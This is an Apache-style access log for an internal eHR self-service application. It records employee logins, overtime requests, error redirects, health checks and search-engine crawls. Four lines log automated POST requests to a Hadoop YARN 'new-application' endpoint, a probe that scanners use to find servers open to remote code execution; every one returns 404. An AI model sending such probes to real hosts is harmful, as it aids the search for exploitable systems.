192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:14:15:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:14:16:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:16:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:18:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:18:23 +0800] "GET / HTTP/1.1" 200 439
192.168.11.89 - - [04/Sep/2025:14:27:00 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.11.89 - - [04/Sep/2025:14:27:00 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:27:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:27:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.89 - - [04/Sep/2025:14:27:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.89 - - [04/Sep/2025:14:27:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:27:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:27:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.89 - - [04/Sep/2025:14:28:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [04/Sep/2025:14:28:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.41475336380134475 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.41475336380134475 HTTP/1.1" 200 8816
192.168.11.89 - - [04/Sep/2025:14:29:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.41475336380134475 HTTP/1.1" 200 16790
192.168.11.89 - - [04/Sep/2025:14:29:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.41475336380134475 HTTP/1.1" 200 16790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.41475336380134475" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269
192.168.11.89 - - [04/Sep/2025:14:29:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [04/Sep/2025:14:29:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5297817832001785 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:29:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5297817832001785 HTTP/1.1" 200 8816
192.168.11.89 - - [04/Sep/2025:14:29:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5297817832001785 HTTP/1.1" 200 10992
192.168.11.89 - - [04/Sep/2025:14:29:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5297817832001785 HTTP/1.1" 200 10992 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5297817832001785" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.89 - - [04/Sep/2025:14:30:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [04/Sep/2025:14:30:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5235469864825122 HTTP/1.1" 200 8816
192.168.11.89 - - [04/Sep/2025:14:30:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5235469864825122 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5235469864825122 HTTP/1.1" 200 18759 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5235469864825122" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5235469864825122 HTTP/1.1" 200 18759
192.168.11.89 - - [04/Sep/2025:14:30:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068
192.168.11.89 - - [04/Sep/2025:14:30:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205
192.168.11.89 - - [04/Sep/2025:14:30:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13575 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [04/Sep/2025:14:30:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13575
100.64.0.1 - - [04/Sep/2025:14:37:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:37:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:38:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:38:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:41:10 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576
100.64.0.1 - - [04/Sep/2025:14:41:10 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:14:56:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:56:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:14:56:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:14:56:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:15:02:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:02:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:15:04:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:04:35 +0800] "GET / HTTP/1.1" 200 439
192.168.40.91 - - [04/Sep/2025:15:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:15:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 205
192.168.40.91 - - [04/Sep/2025:15:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:15:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 205
192.168.40.91 - - [04/Sep/2025:15:06:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 205
192.168.40.91 - - [04/Sep/2025:15:06:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:15:06:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [04/Sep/2025:15:06:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:15:06:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [04/Sep/2025:15:06:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:15:09:12 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [04/Sep/2025:15:09:12 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
100.64.0.1 - - [04/Sep/2025:15:09:12 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/php.gif HTTP/1.1" 200 2523
100.64.0.1 - - [04/Sep/2025:15:09:12 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/php.gif HTTP/1.1" 200 2523 "-" "Googlebot-Image/1.0"
100.64.0.1 - - [04/Sep/2025:15:21:18 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [04/Sep/2025:15:21:18 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [04/Sep/2025:15:25:02 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [04/Sep/2025:15:25:02 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
192.168.12.66 - - [04/Sep/2025:15:26:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:26:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [04/Sep/2025:15:26:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:26:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:15:27:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:27:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [04/Sep/2025:15:27:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:27:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [04/Sep/2025:15:27:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.12.66 - - [04/Sep/2025:15:27:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
